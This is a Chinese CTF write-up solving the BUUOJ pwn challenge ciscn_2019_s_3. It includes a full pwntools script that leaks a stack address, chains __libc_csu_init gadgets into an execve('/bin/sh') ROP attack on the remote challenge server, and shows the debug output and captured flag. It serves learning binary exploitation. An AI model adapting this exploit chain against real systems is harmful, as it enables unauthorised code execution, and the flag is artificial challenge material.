CTF buuoj pwn-----第12题: ciscn_2019_s_3

  • 1. 查看基本信息
  • 2. 函数分析
  • 3. 编写exp
  • 4. 运行exp,获取flag
  • 小结

1. 查看基本信息

  • file:
bing@bing-virtual-machine:~$ file ./ciscn_s_3
./ciscn_s_3: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32,
BuildID[sha1]=af580816080db5e4d1d93a271087adaee29028e8, not stripped
  • checksec:
bing@bing-virtual-machine:~$ checksec ./ciscn_s_3
[*] '/home/bing/ciscn_s_3'Arch:     amd64-64-littleRELRO:    Partial RELROStack:    No canary foundNX:       NX enabledPIE:      No PIE (0x400000)

2. 函数分析

  • main函数啥也没有,
  • vuln函数:两个系统调用函数,buf只有16大小,栈溢出
  • read(),write()的 原型:

    • read():ssizet read(int fd,const void *buf,sizet nbytes); //fd 为要读取的文件的描述符 0//buf 为要读取的数据的缓冲区地址//nbytes 为要读取的数据的字节数 read() 函数会从 fd
      文件中读取 nbytes 个字节并保存到缓冲区 buf,//成功则返回读取到的字节数(但遇到文件结尾则返回0),失败则返回 -1。
    • write()ssizet write(int fd,const void *buf,sizet nbytes); //fd 为要写入的文件的描述符 1//buf 为要写入的数据的缓冲区地址//nbytes 为要写入的数据的字节数 write() 函数会将缓冲区
      buf 中的 nbytes 个字节写入文件 fd,//成功则返回写入的字节数,失败则返回 -1。

  • 值得注意的是,vuln的汇编代码为:没有sub rsp ;没有leave

  • gadget函数:
    mov rax, 3Bh ; 系统调用号3b(59),execve(‘bin/sh’, 0, 0)

3. 编写exp

  • payload_1 = b’/bin/sh\x00’ + b’a’*0x8 + p64(main_addr)

    vuln的汇编代码中:
    .text:0000000000400517 系统调用之后,
    .text:0000000000400519 就是retn ,没有leave,而且.text:00000000004004EE 后面也没有sub rsp,所有一直有rsp==rbp,所以:
    构造payload_1时, payload_1=b’/bin/sh\x00’ + b’a’*0x8 + p64(main_addr),16个字符后面直接就是 返回地址 main_addr),这里的 b’a’*0x8 不是往常的rbp地址,还是合法的栈上空间。

  • payload_2的栈帧分析:

from pwn import *sh = remote('node4.buuoj.cn', 27939)
context(arch='amd64',os='linux', log_level='debug')main_addr= 0x4004ED    # 这里其实是vuln的地址,  main地址会错:timeout: the monitored command dumped core
payload_1 = b'/bin/sh\x00' + b'a'*0x8 + p64(main_addr)sh.sendline(payload_1)
sh.recv(0x20)
stack_addr = u64(sh.recv(8))
bin_sh_addr = stack_addr - 0x118   # 本地gdb调试的时候是0x128,但是远程必须0x118才能打通。??
print(hex(bin_sh_addr))execv_addr = 0x04004E2      # gadgets函数: mov rax, 59  系统调用号59  作用是给syscall一个参数rax=59
mov_rdx_r13 = 0x400580     # _libc_csu_init() 函数通用的指令
pop_rbx_rbp_r12_r13_r14_r15_addr = 0x40059A   # _libc_csu_init() 函数通用的指令
pop_rdi_addr=0x4005a3    # pop rdi  ROPgadget得到的
syscall_addr = 0x400517   # 这里是调用syscall (read)指令的地址;也可以用syscall(write)的地址:0x400517payload_2 = b'/bin/sh\x00' + b'a'*8 + p64(pop_rbx_rbp_r12_r13_r14_r15_addr) + p64(0)*2 + p64(bin_sh_addr+0x50) +p64(0)*3+ p64(mov_rdx_r13)+p64(execv_addr)+p64(pop_rdi_addr)+p64(bin_sh_addr)+p64(syscall_addr)sh.sendline(payload_2)
sh.interactive()

4. 运行exp,获取flag

bing@bing-virtual-machine:~$ python3 ./ciscn_s_3.py
[+] Opening connection to node4.buuoj.cn on port 27939: Done
[DEBUG] Sent 0x19 bytes:00000000  2f 62 69 6e  2f 73 68 00  61 61 61 61  61 61 61 61  │/bin│/sh·│aaaa│aaaa│00000010  ed 04 40 00  00 00 00 00  0a                        │··@·│····│·│00000019
[DEBUG] Received 0x30 bytes:00000000  2f 62 69 6e  2f 73 68 00  61 61 61 61  61 61 61 61  │/bin│/sh·│aaaa│aaaa│00000010  ed 04 40 00  00 00 00 00  0a 05 40 00  00 00 00 00  │··@·│····│··@·│····│00000020  48 05 81 00  fd 7f 00 00  00 00 00 00  01 00 00 00  │H···│····│····│····│00000030
0x7ffd00810430
[DEBUG] Sent 0x71 bytes:00000000  2f 62 69 6e  2f 73 68 00  61 61 61 61  61 61 61 61  │/bin│/sh·│aaaa│aaaa│00000010  9a 05 40 00  00 00 00 00  00 00 00 00  00 00 00 00  │··@·│····│····│····│00000020  00 00 00 00  00 00 00 00  80 04 81 00  fd 7f 00 00  │····│····│····│····│00000030  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│00000040  00 00 00 00  00 00 00 00  80 05 40 00  00 00 00 00  │····│····│··@·│····│00000050  e2 04 40 00  00 00 00 00  a3 05 40 00  00 00 00 00  │··@·│····│··@·│····│00000060  30 04 81 00  fd 7f 00 00  17 05 40 00  00 00 00 00  │0···│····│··@·│····│00000070  0a                                                  │·│00000071
[*] Switching to interactive mode
\x00\x00\x00\x00[DEBUG] Received 0x30 bytes:00000000  2f 62 69 6e  2f 73 68 00  61 61 61 61  61 61 61 61  │/bin│/sh·│aaaa│aaaa│00000010  9a 05 40 00  00 00 00 00  00 00 00 00  00 00 00 00  │··@·│····│····│····│00000020  00 00 00 00  00 00 00 00  80 04 81 00  fd 7f 00 00  │····│····│····│····│00000030
/bin/sh\x00aaaaaaa\x9a\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x7f\x00
$ cat flag
[DEBUG] Sent 0x9 bytes:b'cat flag\n'
[DEBUG] Received 0x2b bytes:b'flag{6acec18c-2ec1-4082-bb18-4f1db3d7b30b}\n'
flag{6acec18c-2ec1-4082-bb18-4f1db3d7b30b}

flag{6acec18c-2ec1-4082-bb18-4f1db3d7b30b}

小结

  • syscall

    • 传参方式:

      • 32位:传参方式:首先将系统调用号 传入 eax,然后将参数 从左到右 依次存入 ebx,ecx,edx寄存器中,返回值存在eax寄存器调用号: sysread 的调用号 为 3 syswrite 的调用号 为 4 。调用方式: 使用 int 80h 中断进行系统调用
      • 64位:传参方式:首先将系统调用号 传入 rax,然后将参数 从左到右 依次存入 rdi,rsi,rdx寄存器中,返回值存在rax寄存器调用号:sysread 的调用号 为 0 syswrite 的调用号 为 1 stubexecve 的调用号 为 59 stubrt_sigreturn 的调用号 为 15。调用方式: 使用 syscall 进行系统调用
  • 本题目依然有疑惑,payload_2 = b’/bin/sh\x00’ + b’a’*8 + p64(pop_rbx_rbp_r12_r13_r14_r15_addr) + p64(0)*2 + p64(bin_sh_addr+0x50)

    • bin_sh_addr+0x50 这里为什么要加0x50????
    • bin_sh_addr = stack_addr - 0x118 # 本地gdb调试的时候是0x128,但是远程必须0x118才能打通。

CTF buuoj pwn-----第12题: ciscn_2019_s_3相关推荐

  1. 记一次院赛CTF的Pwn和Misc题(入门)

    目录 Pwn easy pwn 莽撞人 反向读取 Misc drop the beats 拼东东 消失的50px Pwn 见到别的比赛的pwn题才幡然醒悟,已经没有比这些更简单的pwn题了. easy ...

  2. CTF比赛PWN题sgtlibc通用快速解题框架

    CTF比赛PWN题sgtlibc通用快速解题框架 安装 开源地址:https://github.com/serfend/sgtlibc 使用 pip install sgtlibc -U 安装pwn解 ...

  3. CTF|pwn栈溢出入门题level3解题思路及个人总结

    CTF|pwn栈溢出入门题level3解题思路及个人总结 解题思路 拿到题目将文件下载下来拖入ubuntu 发现这一次的文件比较特殊:是一个linux环境下的压缩包,自然而然想到的是解压它 通过命令行 ...

  4. [BUUCTF-pwn]——[第六章 CTF之PWN章]stack

    [BUUCTF-pwn]--[第六章 CTF之PWN章]stack 题目地址: https://buuoj.cn/challenges#[%E7%AC%AC%E5%85%AD%E7%AB%A0%20C ...

  5. buuctf-N1Book[第六章 CTF之PWN章]

    第六章 CTF之PWN章 1.stack 64位,开启了NX保护 shift + F12查看里面的字符串 发现自带system和bin/sh的地址 bin_sh = 0x400537 gets函数对输 ...

  6. CTF中pwn的入门指南

    CTF中pwn的入门指南 pwn简介: CTF中的pwn指的是通过通过程序本身的漏洞,编写利用脚本破解程序拿到主机的权限,这就需要对程序进行分析,了解操作系统的特性和相关漏洞,是是一个难度比较大的分支 ...

  7. [GO语言基础] 三.变量声明、数据类型、标识符及编程练习12题

    作为网络安全初学者,会遇到采用Go语言开发的恶意样本.因此从今天开始从零讲解Golang编程语言,一方面是督促自己不断前行且学习新知识:另一方面是分享与读者,希望大家一起进步.前文介绍了Go的编译运行 ...

  8. c语言拔河分组回溯算法,【阅读下面的文字,完成10—12题。文明的共相回溯我们历史演-查字典问答网...

    阅读下面的文字,完成10-12题. 文明的共相 回溯我们历史演变的经验,有两条最重要:一是传统不能割断,二是世界不能脱离.清代的问题,就是它与世界相脱离,闭上了对外交往的大门.近30年以来作为基本国策 ...

  9. 2021-06-24CTF-攻防世界-WEB新手练习区(12题入门题)

    CTF-攻防世界-WEB新手练习区(12题入门题) 01-view_source 02-robots 03-backup 04-cookie 05-disabled_button 06-weak_au ...

最新文章

  1. linux 替换文件中某个字符串_word中如何删除包含某个特定字符串的整个段落?...
  2. 1小时学会:最简单的iOS直播推流(五)yuv、pcm数据的介绍和获取
  3. iOS之coreData
  4. css 块元素、内联元素、内联块元素
  5. python的pygame库使用方法_python基础教程使用Python第三方库pygame写个贪吃蛇小游戏...
  6. Google开源的操作系统Fuchsia,专为大内存硬件设计
  7. 【Android容器组件—AdapterView】
  8. AR路由器ETH端口使用方法
  9. 【Mockplus教程】安装Mockplus
  10. 如何查找各个手机放序列号
  11. 普特南数学竞赛的经验
  12. 论文Time-Series Event Prediction with Evolutionary State Graph笔记
  13. bzoj1753[Usaco2005 qua]Who's in the Middle*
  14. Ruby_01_环境安装
  15. 昆石VOS2009/VOS3000 2.1.6.00 Web接口说明书
  16. SOLIDWORKS motion如何进行运动仿真
  17. 苹果ppt_惊艳!苹果发布会最爱用的PPT动画,居然这么简单
  18. 什么是电力物联网?为什么要建造电力物联网云平台?——安科瑞 严新亚
  19. Mybatis新增数据后,报ERROR: Field * doesn‘t have a default value
  20. 2020.4.23工作记录————Regsvr32加载控件失败:“请确保该二进制存储在指定路径中。。。”

热门文章

  1. 控制提示框不溢出父级盒子
  2. python输出间隔_python 生成特定间隔数列的方法
  3. 减肥食物库:吃出好身材
  4. Linux下解决CPU占用率100%问题的步骤
  5. 湖南成考学生最晚什么时候毕业
  6. RESTful 详解
  7. 计算机网络面试常考知识点
  8. 信用卡逾期多少天会成为黑户?
  9. SQL数据库~邝俊华
  10. nodejs连接ftp上传下载